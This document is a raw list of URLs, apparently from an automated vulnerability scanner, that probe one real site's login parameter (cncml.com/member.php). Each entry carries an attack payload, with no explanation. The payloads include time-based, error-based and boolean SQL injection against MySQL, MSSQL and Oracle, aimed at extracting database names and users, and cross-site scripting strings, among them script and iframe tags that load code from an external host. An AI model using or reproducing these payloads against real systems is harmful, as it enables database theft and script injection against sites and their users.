http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20RLIKE%20(SELECT%20(CASE%20WHEN%20(37=37)%20THEN%200x6C6F67696E%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20RLIKE%20(SELECT%20(CASE%20WHEN%20(98=15)%20THEN%200x6C6F67696E%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%22%20AND%20%22O5%22=%222c 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%22)%20AND%2051=15%20AND%20(%22BS%22=%22BS 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25%22%29%20AND%2023%3D27%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25%27%29%20AND%2036%3D36%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25%27%29%20AND%2055%3D83%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25%27%29%20AND%2071%3D92%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25%27%29%20AND%2082%3D82%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%2016=16%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%2033=91%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%2056=82%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%2058=58%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%2066=66%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%2068=38%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=11)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=16)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(85=85)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%2527 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%2527%20AND%2035=35%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%2527%20AND%2038=96%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20'1k'%20LIKE%20'1k 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20'5z'='5z 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20'E6'='ha 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20'JR'='d1 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20'LN'='LN 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20'O1'%20LIKE%20'Lh 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20'yR'='km 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20'zc'='zc 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20OR%20'QK'='QK'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=54)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'iF'='iF 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=84)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'QY'='QY 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(85=85)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'lM'='lM 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(96=63)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'Gm'='Gm 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%22 0.0003 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%20('Rl'%20LIKE%20'Rl 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%20('b0'%20LIKE%20'8P 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%2012=12%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%2034=88%20AND%20('hz'='hz 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%2052=52%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%2067=32%20AND%20('Hs'='Hs 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 